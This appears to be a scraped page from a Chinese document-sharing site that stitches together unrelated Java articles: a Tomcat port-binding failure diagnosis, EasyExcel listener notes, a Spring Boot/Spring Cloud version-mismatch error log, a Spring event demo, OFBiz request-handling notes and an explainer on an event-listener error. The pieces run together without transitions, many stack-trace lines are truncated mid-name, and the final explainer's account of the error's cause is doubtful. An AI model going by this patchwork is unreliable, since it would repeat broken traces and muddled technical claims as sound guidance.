org.springframework.boot.SpringApplication.run(SpringApplication.java:1246)at com.winning.platwebservice.DqmsServiceApplication.main(DqmsServiceApplication.java:10)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)at ng.reflect.Method.invoke(Unknown Source)at org.springframework.boot.loader.MainMethodRunner.run(MainMethodRunner.java:48)at unch(Launcher.java:87)at unch(Launcher.java:50)at org.springframework.boot.loader.JarLauncher.main(JarLauncher.java:51)解决思路:1.看到No buffer space available,字⾯意思是说缓冲区内存不⾜,于是开始查机器内存:因为我们是window服务器,发现硬盘还有50G,查看运⾏内存还有10G,虚拟内存还有5G,应该不是这些问题,排除;2.通过查看time_wait进程发现,pid为8561的有好多time_wait进⾏,再查询发现是zabbix_client,联系了部署zabbix_client的同事,能不能先停⼀下,发现停下后发现tomcat还是⽆法启动,排除;3.更换端⼝,⽆效;4.调整部署的xms参数,调⼩调⼤,⽆效;5.百度,百度告诉我们这个问题要修改注册表信息,要重启,因为服务器部署了很多别⼈的应⽤,没有考虑这种办法;6.重启tomcat时有报错:Caused by: .BindException: Address already in use: connectat .connect0(Native Method)at .connect(Unknown Source)at .connect(Unknown Source)at sun.nio.ch.SocketChannelImpl.connect(Unknown Source)at java.nio.channels.SocketChannel.open(Unknown Source)at sun.nio.ch.PipeImpl$Initializer$LoopbackConnector.run(Unknown Source)... 37 common frames omitted2019-07-02 13:10:46 [main] INFO o.a.c.h.Http11NioProtocol - Pausing ProtocolHandler ["http-nio-8556"]2019-07-02 13:10:46 [main] INFO o.a.c.c.StandardService - Stopping service [Tomcat]2019-07-02 13:10:47 [main] INFO o.a.c.u.LifecycleBase - The stop() method was called on component [StandardServer[-1]] after stop() had already been called. The second call will be ignored. 2019-07-02 13:10:47 [main] INFO o.a.c.h.Http11NioProtocol - Stopping ProtocolHandler ["http-nio-8556"]2019-07-02 13:10:47 [main] INFO o.a.c.h.Http11NioProtocol - Destroying ProtocolHandler ["http-nio-8556"]2019-07-02 13:10:47 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.2019-07-02 13:10:47 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -***************************APPLICATION FAILED TO START***************************Description:The Tomcat connector configured to listen on port 8556 failed to start. The port may already be in use or the connector may be misconfigured. 猜测可能是因为端⼝被使⽤情况,可是查询端⼝发现这个端⼝没有被使⽤,⽽且更换端⼝也是⽆效,有⼀个印象⽐较深刻的是,我们查询我们⾃⼰端⼝号和其他端⼝号时,总是有⼀个5开头的端⼝被使⽤(⽐如说我们系统是8556端⼝,发现有⼀个58556端⼝被使⽤,查询8561端⼝,也发现有⼀个58561端⼝被使⽤),后来发现有⼀个pid是12122的⼏乎占据了所有5开头的5位数端⼝号,这是⼀个java.exe,我们把它杀掉之后,重启tomcat,发现ok了。

analysiseventlistener analysiscontext

analysiseventlisteneranalysiscontextAnalysisEventListener 和 AnalysisContext 是 EasyExcel 框架中用于导入 Excel 文件的监听器和上下文环境类。

AnalysisEventListener 实现了 ReadListener 接口,其中包含多个方法,例如:- public abstract class AnalysisEventListener<T> implements ReadListener<T> { // 这是监听器的构造方法,一般我们可以通过构造方法传入一些我们需要在解析excel时使用的数据public AnalysisEventListener() {}// 调用 invokeHeadMap 来获取表头数据public void invokeHead(Map<Integer, CellData> headMap, AnalysisContext context) {}// 获取表头数据public void invokeHeadMap(Map<Integer, String> headMap, AnalysisContext context) {}// 读取条额外信息:批注、超链接、合并单元格信息等public void extra(CellExtra extra, AnalysisContext context) {}// 在转换异常获取其他异常下会调用本接口。

抛出异常则停止读取。

如果这里不抛出异常则继续读取下一行。

public void onException(Exception exception, AnalysisContext context) throws Exception {}public boolean hasNext(AnalysisContext context) { return true; }}AnalysisContext 类用于存储和传递与解析事件相关的信息,例如工作表名称、行号和列号等。

吐血推荐--SpringBoot与SpringCloud的版本对应说明,兼容说明

吐⾎推荐--SpringBoot与SpringCloud的版本对应说明,兼容说明⼀、为啥要讲这个版本对应⾸先先说下我此次记录问题的SpringBoot 版本:2.5.4由于最近刚开始接触SpringBoot,在加载Eureak的客户端依赖包的时候,出现了下⾯的错误,提⽰找不到依赖Cannot resolve org.springframework.cloud:spring-cloud-starter-netflix-eureka-client:unknown当时怀疑应该是SpringBoot 版本:2.5.4版本下⾯没有这个jar包,于是先通过阿⾥云的maven私服去查找了下,然后尝试去掉版本搜了下,⼤概有501个于是找了⼀个相近的版本,使⽤的是2.2.6.RELEASE,然后刷新maven加载加载成功后,spring-cloud-starter-netflix-eureka-client依赖包已经下载下来于是乎,满⼼欢喜的去运⾏应⽤,结果啪啪打脸啊,⽐任何时候都响,那是响彻天空,响彻万⾥啊org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'configurationPropertiesBeans' defined in class path resource [org/springframework/cloud/autoconfigure/ConfigurationPropertiesRebinderAutoConfiguration. at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:579) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:524) ~[spring-beans-5.3.9.jar:5.3.9]at mbda$doGetBean$0(AbstractBeanFactory.java:335) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:213) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.context.support.PostProcessorRegistrationDelegate.registerBeanPostProcessors(PostProcessorRegistrationDelegate.java:270) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.context.support.AbstractApplicationContext.registerBeanPostProcessors(AbstractApplicationContext.java:762) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:567) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:754) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:434) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.run(SpringApplication.java:338) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.builder.SpringApplicationBuilder.run(SpringApplicationBuilder.java:143) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.cloud.bootstrap.BootstrapApplicationListener.bootstrapServiceContext(BootstrapApplicationListener.java:212) [spring-cloud-context-2.2.6.RELEASE.jar:2.2.6.RELEASE]at org.springframework.cloud.bootstrap.BootstrapApplicationListener.onApplicationEvent(BootstrapApplicationListener.java:117) [spring-cloud-context-2.2.6.RELEASE.jar:2.2.6.RELEASE]at org.springframework.cloud.bootstrap.BootstrapApplicationListener.onApplicationEvent(BootstrapApplicationListener.java:74) [spring-cloud-context-2.2.6.RELEASE.jar:2.2.6.RELEASE]at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176) [spring-context-5.3.9.jar:5.3.9]at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169) [spring-context-5.3.9.jar:5.3.9]at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143) [spring-context-5.3.9.jar:5.3.9]at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:131) [spring-context-5.3.9.jar:5.3.9]at org.springframework.boot.context.event.EventPublishingRunListener.environmentPrepared(EventPublishingRunListener.java:82) [spring-boot-2.5.4.jar:2.5.4]at mbda$environmentPrepared$2(SpringApplicationRunListeners.java:63) [spring-boot-2.5.4.jar:2.5.4]at java.util.ArrayList.forEach(ArrayList.java:1259) ~[na:1.8.0_281]at org.springframework.boot.SpringApplicationRunListeners.doWithListeners(SpringApplicationRunListeners.java:117) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplicationRunListeners.doWithListeners(SpringApplicationRunListeners.java:111) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplicationRunListeners.environmentPrepared(SpringApplicationRunListeners.java:62) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.prepareEnvironment(SpringApplication.java:374) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.run(SpringApplication.java:332) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.run(SpringApplication.java:1343) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.run(SpringApplication.java:1332) ~[spring-boot-2.5.4.jar:2.5.4]at com.joshua317.blog.BlogApplication.main(BlogApplication.java:12) ~[classes/:na]Caused by: ng.IllegalStateException: Failed to introspect Class [org.springframework.cloud.context.properties.ConfigurationPropertiesBeans] from ClassLoader [uncher$AppClassLoader@18b4aac2]at org.springframework.util.ReflectionUtils.getDeclaredMethods(ReflectionUtils.java:481) ~[spring-core-5.3.9.jar:5.3.9]at org.springframework.util.ReflectionUtils.doWithLocalMethods(ReflectionUtils.java:321) ~[spring-core-5.3.9.jar:5.3.9]at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor.buildLifecycleMetadata(InitDestroyAnnotationBeanPostProcessor.java:232) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor.findLifecycleMetadata(InitDestroyAnnotationBeanPostProcessor.java:210) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor.postProcessMergedBeanDefinition(InitDestroyAnnotationBeanPostProcessor.java:149) ~[spring-beans-5.3.9.jar:5.3.9]at monAnnotationBeanPostProcessor.postProcessMergedBeanDefinition(CommonAnnotationBeanPostProcessor.java:294) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyMergedBeanDefinitionPostProcessors(AbstractAutowireCapableBeanFactory.java:1098) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:576) ~[spring-beans-5.3.9.jar:5.3.9]... 30 common frames omittedCaused by: ng.NoClassDefFoundError: org/springframework/boot/context/properties/ConfigurationBeanFactoryMetadataat ng.Class.getDeclaredMethods0(Native Method) ~[na:1.8.0_281]at ng.Class.privateGetDeclaredMethods(Class.java:2701) ~[na:1.8.0_281]at ng.Class.getDeclaredMethods(Class.java:1975) ~[na:1.8.0_281]at org.springframework.util.ReflectionUtils.getDeclaredMethods(ReflectionUtils.java:463) ~[spring-core-5.3.9.jar:5.3.9]... 37 common frames omittedCaused by: ng.ClassNotFoundException: org.springframework.boot.context.properties.ConfigurationBeanFactoryMetadataat .URLClassLoader.findClass(URLClassLoader.java:382) ~[na:1.8.0_281]at ng.ClassLoader.loadClass(ClassLoader.java:418) ~[na:1.8.0_281]at uncher$AppClassLoader.loadClass(Launcher.java:355) ~[na:1.8.0_281]at ng.ClassLoader.loadClass(ClassLoader.java:351) ~[na:1.8.0_281]... 41 common frames omitted2021-09-16 10:58:56.852 ERROR 15524 --- [ main] o.s.boot.SpringApplication : Application run failedorg.springframework.beans.factory.BeanCreationException: Error creating bean with name 'configurationPropertiesBeans' defined in class path resource [org/springframework/cloud/autoconfigure/ConfigurationPropertiesRebinderAutoConfiguration. at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:579) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:524) ~[spring-beans-5.3.9.jar:5.3.9]at mbda$doGetBean$0(AbstractBeanFactory.java:335) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:213) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.context.support.PostProcessorRegistrationDelegate.registerBeanPostProcessors(PostProcessorRegistrationDelegate.java:270) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.context.support.AbstractApplicationContext.registerBeanPostProcessors(AbstractApplicationContext.java:762) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:567) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:754) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:434) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.run(SpringApplication.java:338) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.builder.SpringApplicationBuilder.run(SpringApplicationBuilder.java:143) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.cloud.bootstrap.BootstrapApplicationListener.bootstrapServiceContext(BootstrapApplicationListener.java:212) ~[spring-cloud-context-2.2.6.RELEASE.jar:2.2.6.RELEASE]at org.springframework.cloud.bootstrap.BootstrapApplicationListener.onApplicationEvent(BootstrapApplicationListener.java:117) ~[spring-cloud-context-2.2.6.RELEASE.jar:2.2.6.RELEASE]at org.springframework.cloud.bootstrap.BootstrapApplicationListener.onApplicationEvent(BootstrapApplicationListener.java:74) ~[spring-cloud-context-2.2.6.RELEASE.jar:2.2.6.RELEASE]at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:131) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.boot.context.event.EventPublishingRunListener.environmentPrepared(EventPublishingRunListener.java:82) ~[spring-boot-2.5.4.jar:2.5.4]at mbda$environmentPrepared$2(SpringApplicationRunListeners.java:63) ~[spring-boot-2.5.4.jar:2.5.4]at java.util.ArrayList.forEach(ArrayList.java:1259) ~[na:1.8.0_281]at org.springframework.boot.SpringApplicationRunListeners.doWithListeners(SpringApplicationRunListeners.java:117) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplicationRunListeners.doWithListeners(SpringApplicationRunListeners.java:111) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplicationRunListeners.environmentPrepared(SpringApplicationRunListeners.java:62) ~[spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.prepareEnvironment(SpringApplication.java:374) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.run(SpringApplication.java:332) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.run(SpringApplication.java:1343) [spring-boot-2.5.4.jar:2.5.4]at org.springframework.boot.SpringApplication.run(SpringApplication.java:1332) [spring-boot-2.5.4.jar:2.5.4]at com.joshua317.blog.BlogApplication.main(BlogApplication.java:12) [classes/:na]Caused by: ng.IllegalStateException: Failed to introspect Class [org.springframework.cloud.context.properties.ConfigurationPropertiesBeans] from ClassLoader [uncher$AppClassLoader@18b4aac2] at org.springframework.util.ReflectionUtils.getDeclaredMethods(ReflectionUtils.java:481) ~[spring-core-5.3.9.jar:5.3.9]at org.springframework.util.ReflectionUtils.doWithLocalMethods(ReflectionUtils.java:321) ~[spring-core-5.3.9.jar:5.3.9]at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor.buildLifecycleMetadata(InitDestroyAnnotationBeanPostProcessor.java:232) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor.findLifecycleMetadata(InitDestroyAnnotationBeanPostProcessor.java:210) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor.postProcessMergedBeanDefinition(InitDestroyAnnotationBeanPostProcessor.java:149) ~[spring-beans-5.3.9.jar:5.3.9]at monAnnotationBeanPostProcessor.postProcessMergedBeanDefinition(CommonAnnotationBeanPostProcessor.java:294) ~[spring-context-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyMergedBeanDefinitionPostProcessors(AbstractAutowireCapableBeanFactory.java:1098) ~[spring-beans-5.3.9.jar:5.3.9]at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:576) ~[spring-beans-5.3.9.jar:5.3.9]... 30 common frames omittedCaused by: ng.NoClassDefFoundError: org/springframework/boot/context/properties/ConfigurationBeanFactoryMetadataat ng.Class.getDeclaredMethods0(Native Method) ~[na:1.8.0_281]at ng.Class.privateGetDeclaredMethods(Class.java:2701) ~[na:1.8.0_281]at ng.Class.getDeclaredMethods(Class.java:1975) ~[na:1.8.0_281]at org.springframework.util.ReflectionUtils.getDeclaredMethods(ReflectionUtils.java:463) ~[spring-core-5.3.9.jar:5.3.9]... 37 common frames omittedCaused by: ng.ClassNotFoundException: org.springframework.boot.context.properties.ConfigurationBeanFactoryMetadataat .URLClassLoader.findClass(URLClassLoader.java:382) ~[na:1.8.0_281]at ng.ClassLoader.loadClass(ClassLoader.java:418) ~[na:1.8.0_281]at uncher$AppClassLoader.loadClass(Launcher.java:355) ~[na:1.8.0_281]at ng.ClassLoader.loadClass(ClassLoader.java:351) ~[na:1.8.0_281]... 41 common frames omittedProcess finished with exit code 1经过多⽅调研,考证,最终证实原来SpringBoot版本要想使⽤SpringCloud⾥⾯的依赖包,需要版本兼容才可以,⾄于如何考证,如何证实,期间⾛了多少弯路,这⾥就不赘述了,宝宝⼼⾥苦,但是宝宝不说。

SpringEvent事件通知机制

SpringEvent事件通知机制Spring的事件通知机制是⼀项很有⽤的功能,使⽤事件机制我们可以将相互耦合的代码解耦,从⽽⽅便功能的修改与添加。

本⽂我来学习并分析⼀下Spring中事件的原理。

举个例⼦,假设有⼀个添加评论的⽅法,在评论添加成功之后需要进⾏修改redis缓存、给⽤户添加积分等等操作。

当然可以在添加评论的代码后⾯假设这些操作,但是这样的代码违反了设计模式的多项原则:单⼀职责原则、迪⽶特法则、开闭原则。

⼀句话说就是耦合性太⼤了,⽐如将来评论添加成功之后还需要有另外⼀个操作,这时候我们就需要去修改我们的添加评论代码了。

在以前的代码中,我使⽤观察者模式来解决这个问题。

不过Spring中已经存在了⼀个升级版观察者模式的机制,这就是监听者模式。

通过该机制我们就可以发送接收任意的事件并处理。

通过⼀个简单的demo来看看Spring事件通知的使⽤:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35// 定义⼀个事件public class EventDemo extends ApplicationEvent {private String message;public EventDemo(Object source, String message) {super(source);this.message = message;}public String getMessage() {return message;}}// 定义⼀个事件监听者@Componentpublic class EventDemoListener implements ApplicationListener<EventDemo> { @Overridepublic void onApplicationEvent(EventDemo event) {System.out.println("receiver " + event.getMessage());}}// 事件发布@Componentpublic class EventDemoPublish {@Autowiredprivate ApplicationEventPublisher applicationEventPublisher;public void publish(String message) {EventDemo demo = new EventDemo(this, message);applicationEventPublisher.publishEvent(demo);}}调⽤EventDemoPublish.publish⽅法来发布消息,EventDemoListener监听器接收到消息后对消息进⾏处理,打印出消息的内容:1receiver helloSpring事件通知原理⾸先我们跟踪publishEvent⽅法,这个⽅法在AbstractApplicationContext类中。

读Ofbiz源码笔记 之 请求控制篇

读Ofbiz源码笔记(一)——请求控制篇该笔记基于Ofbiz10.04.02解读,系个人阅读Ofbiz源码记录所得,格式不太雅观,可作为阅读Ofbiz源码时的手册,这是第一篇后续会继续阅读写作,其中难免有错误部分望指正。

该篇主要讲解控制请求的流程,以及其中的难点、重点。

GuHaoEmail:g.guhao@2012.08.081.Web.xmlcontext-param:上下文参数filter:过滤器—putAllInitParametersInAttributes、getDelegator、getDispatcher等listener:监听器(以上这些都要简单浏览一遍)servlet:核心控制器,重点看这个(ControlServlet.java)2.ControlServlet.java1.1.init();初始化1.1.1.configureBsf();向BSFManager注册beanshell、javascript、simplemethod的解析类;1.1.2.getRequestHandler();初始化RequestHandler对象,其中包括ControllerConfig(解析controller.xml中include、handlermap,viewmap等,把所有的request-map解析称RequestMap对象,存放到requestMapMap中)、ViewFactory(实例化各ViewHandler的处理类,放到viewFactory的handlers中,以备后面展现view之用)、EventFactory(和viewfactory处理方法类似,作用是实例化controller.xml中所有的handler的EventHandler的实现类,如JavaEventHandler、ServiceEventHandler等);1.2.doGet()—>doPost();1.2.1.request、response的常规设置request.setCharacterEncoding(),response.setContentType(),response.setCharacterEncoding()1.2.2.pushUserIdentifier如果请求访问的用户已登录,把用户放到curValList中第一位,再使用userIdentifierStack(ThreadLocal)存放curValList,userIdentifierStack 既存放当前登陆用户1.2.3.make security and delegator available in the requestfor convenience,and necessity with event handlers,make security and delegator available in the request:try to get it from the session first so that we can have a delegator/dispatcher/security for a certain user if desired为了方便把一些常用的变量放到session/request中1.2.4.new ServletContextHashModel()实例化ServletContextHashModel得到实例化对象ftlServletContext,并存放到request中1.2.5.VisitHandler.getVisitor(request,response);判断session中是否存在,如没有获取cookie中的cookieVisstorId 再根据cookieVisstorId去数据库中检索出相应的Visitor对象,如若还是没有则创建Visitor对象保存DB,写入cookie、保存至session1.2.6.pushSessionIdentifier与pushUserIdentifier的编程方式一样,但这个是用来存放所有在线用户的包含未登录的3.RequestHandler.java3.1.requestHandler.doRequest3.1.1.对访问请求做一些安全校验,比如请求是否存在、不安全的表单数据提交到安全的请求3.1.2.callRedirect();根据请求的secure、requestMap.securityHttps(controller.xml中request-map的https)和forceHttpSession(web.xml)等因素makeUrl(即http与https的转换),然后执行callRedirect()重定向(备注:此处的重定向不是真的意义上的重定向,requestAttribute中的内容我们还是需要的,但是sendRedirect之后将会丢失,所以在sendRedirect之前先把requestAttribute用一个变量_REQ_ATTR_MAP_存放到session中,至于这里存放的技巧,看源码),重新回到最初的流程走一遍,重新makeUrl(包括对请求是否为爬虫蜘蛛的一些校验)之后的请求将不会在被判断执行callRedirect();3.1.3._FIRST_VISIT_EVENTS_如果是首次访问则执行controller.xml中的firstvisit内的events,至于执行EventHandler.invoke(),这里简单的讲解一种JavaEventHandler的invoke方法,通过传入controller.xml文件中event的path值(既具体event处理类的路径),然后利用ClassLoader的方式加载Event处理类,在通过getMethod().invoke()方法执行event的invoke得到事件处理的返回值,用过Ofbiz的都知道该返回值是String(详细代码请阅读JavaEventHandler.java);执行完firstVisitEvents判断执行是否成功(既返沪"success"),否则抛出异常,执行成功在session中做记录complete。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

failed to invoke event listener method 随着计算机技术的不断发展,各种软件应用也在不断涌现,而在软件开发过程中,事件监听器(Event Listener)是非常重要的一个概念。

通过事件监听器,我们可以让程序在特定的事件发生时做出相应的处理,从而增强程序的交互性和实用性。

然而,在实际应用中,我们有时会遇到“Failed to Invoke Event Listener Method”的错误提示,这是什么原因呢?本文将对这一问题进行探讨和解答。

一、事件监听器的基本概念
在Java编程语言中,事件监听器是一种设计模式,它允许对象在特定事件发生时自动执行代码。

事件监听器通常由两部分组成:事件源(Event Source)和事件处理器(Event Handler)。

事件源是指能够产生事件的对象,比如按钮、文本框、菜单等。

当事件源发生某个事件时,它会将该事件通知给事件监听器。

事件处理器则是指在事件发生时要执行的代码,可以是一个方法或一段代码块。

在Java中,事件监听器通常使用接口来定义。

例如,ActionListener是一个常用的接口,它包含一个方法actionPerformed,用于处理按钮被点击的事件。

当我们需要对某个按钮进行事件监听时,只需要实现ActionListener接口,并将它注册到按钮上即可。

二、“Failed to Invoke Event Listener Method”出现的原因
在实际应用中,我们有时会遇到“Failed to Invoke Event Listener Method”的错误提示。

这种错误通常是由于事件处理器中的代码出现了异常导致的。

当代码出现异常时,事件监听器会尝试调用异常处理器来处理该异常。

如果没有找到合适的异常处理器,就会抛出“Failed to Invoke Event Listener Method”的异常。

例如,假设我们有一个按钮,它的事件监听器是这样定义的: button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
int result = 10 / 0;
}
});
当我们点击按钮时,由于除数为0,程序会抛出一个ArithmeticException异常。

如果我们没有对该异常进行处理,就会出现“Failed to Invoke Event Listener Method”的错误提示。

三、如何解决“Failed to Invoke Event Listener Method”问题
要解决“Failed to Invoke Event Listener Method”问题,我们需要对事件处理器中的代码进行异常处理。

通常情况下,我们可以使用try-catch语句来捕获异常,并在catch块中进行处理。

例如,我们可以将上面的代码改为:
button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
try {
int result = 10 / 0;
} catch (ArithmeticException ex) {
ex.printStackTrace();
}
}
});
这样,当除数为0时,程序就会捕获ArithmeticException异常,并在控制台上打印出异常信息,从而避免出现“Failed to Invoke Event Listener Method”的错误提示。

除了使用try-catch语句外,我们还可以使用其它异常处理机制来解决该问题。

例如,我们可以在事件监听器中注册一个全局异常处理器(Global Exception Handler),用于处理所有未被捕获的异常。

这样,即使事件处理器中的代码出现异常,程序也不会出现“Failed to Invoke Event Listener Method”的错误提示。

四、总结
事件监听器是Java编程中非常重要的一个概念,它可以让程序在特定事件发生时自动执行代码,从而增强程序的交互性和实用性。

然而,在实际应用中,我们有时会遇到“Failed to Invoke Event Listener Method”的错误提示,这是由于事件处理器中的代码出现异常导致的。

要解决该问题,我们需要对事件处理器中的代码进行异常处理,以避免出现该错误提示。

相关文档
最新文档